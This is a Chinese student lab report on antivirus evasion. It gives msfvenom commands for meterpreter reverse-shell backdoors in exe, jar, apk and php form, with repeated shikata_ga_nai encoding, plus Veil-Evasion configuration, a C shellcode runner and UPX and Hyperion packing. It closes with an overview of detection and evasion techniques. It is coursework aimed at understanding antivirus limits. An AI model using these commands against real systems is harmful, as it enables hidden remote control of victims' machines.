一、实践目标
通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。
二、实践内容
- 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具、使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧
- 2.通过组合应用各种技术实现恶意代码免杀
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。) - 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
三、预备知识
1.免杀概念
一般是对恶意软件做处理,让它不被杀毒软件所检测。
2.恶意软件检测机制
2.1基于特征码的检测
- 恶意代码包含这样的数据
- 正常程序不包含这样的数据
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库
2.2启发式恶意软件检测
- 根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。
- 典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
2.3基于行为的恶意软件检测
- 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式
四、实践步骤
任务一 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil,加壳工具等单一方法实现部分免杀
(一)正确使用msf编码器
-
1.将实验二中用msf命令生成的后门程序20175230_backdoor.exe放到VirusTotal或Virscan中扫描结果如下
-
2.然后进行多次编码尝试降低检出率
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.80.128 LPORT=5230 -f exe > 20175230_backdoor2.exe
(二)msfvenom生成如jar之类的其他文件
-
1.生成jar文件,输入命令
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.80.128 lport=5230 x> 20175230_JAVAbackdoor.jar
扫描结果:检出率确实降低了不少
-
2.生成apk文件,输入命令
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.80.130 LPORT=5230 R > 20175230_APKbackdoor.apk
- 3.生成php文件,输入命令
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.80.128 lport=5230 x> 20175230_PHPbackdoor.php
(三)利用veil-evasion
- 1.安装veil-evasion
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
使用命令sudo apt-get install veil-evasion
安装veil
下载好后用veil打开veil进行安装,安装时如果出现错误,可运行其提示的命令/usr/share/veil/config/setup.sh --force --silent
安装完毕后(按照组长的方法,我一次性就安装好了veil,中间出现了一次错误,然后运行了/usr/share/veil/config/setup.sh --force --silent
后就可以了),进入veil
-
2.命令
use evasion
命令进入Veil-Evasion -
4.设置反弹连接IP
set LHOST 192.168.80.128
-
5.设置端口
set LPORT 5230
-
6.查看配置
options
7.输入generate
生成文件,接着输入生成的文件名 tx5230_veil
但运行此程序后,报错
(四)使用C + shellcode编程
-
1.首先我们需要先生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=5230 -f c
-
2.然后创建一个c文件txshellcode.c,将下述代码及新建的shellcode复制进去
unsigned char buf[] = 'shellcode(替换成上述步骤生成的shellcode)'
int main()
{
int (*func)() = (int(*)())buf;
func();
}
(五)加壳工具
-
1..给上面的shellcode加一个压缩壳(UPX)
upx txshellcode.exe -o txshellcodeupxed.exe
-
3.加密壳处理:将之前进行压缩壳后的exe文件拷贝到/usr/share/windows-resources/hyperion/目录中(其他同学的hyperion在windows-binaries,但是我的kali中却在windows-resources)
加壳命令wine hyperion.exe -v txshellcodeupxed.exe 5230-txshellcode_hyperion.exe
(六)使用其他课堂未介绍方法:venom生成免杀木马
任务二 通过组合应用各种技术实现恶意代码免杀
方法:c+shellcode+压缩壳+加密壳
测试:360在运行之后可以检测到
任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
五、基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码检测
很多软件都会有各种特征码记成的特征库
恶意软件的一个或几个片断就可作为识别依据。 - 启发式恶意软件的检测
- 基于行为的检测
(2)免杀是做什么?
通过处理,让恶意代码等逃脱入侵检测。
(3)免杀的基本方法有哪些?
- 1.改变特征码
加壳:压缩壳 加密壳
用encode进行编码
基于payload重新编译生成可执行文件
用其他语言进行重写再编译(veil-evasion) - 2.改变行为
尽量使用反弹式连接
使用隧道技术
加密通讯数据
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
(4)开启杀软能绝对防止电脑中恶意代码吗?
不能,我们这种菜鸟制作的木马有时候都能逃脱杀软,更别说技术大神了,而且恶意代码的样式、入侵方式多种多样,杀软无法针对所有的恶意代码,我们能做的就是加快病毒库更新速度。
六、实践总结与体会
此次实验可谓是历经坎坷,花费了很长时间;首先使用msfvenom时就出错,上网查找时,有各种各样的解答,试了好几种方法后才得以解决,但我看其他同学都没有出现此类错误,很郁闷。后来陆续出现了好几个错误,还好百度查找后解决了;都说该bug很烦,我觉得做此类实验也赶得上改bug了(可能有兴趣的不这样想),唯一让我感到开兴的是,我安装veil很快,也没有出错,也能正常运行。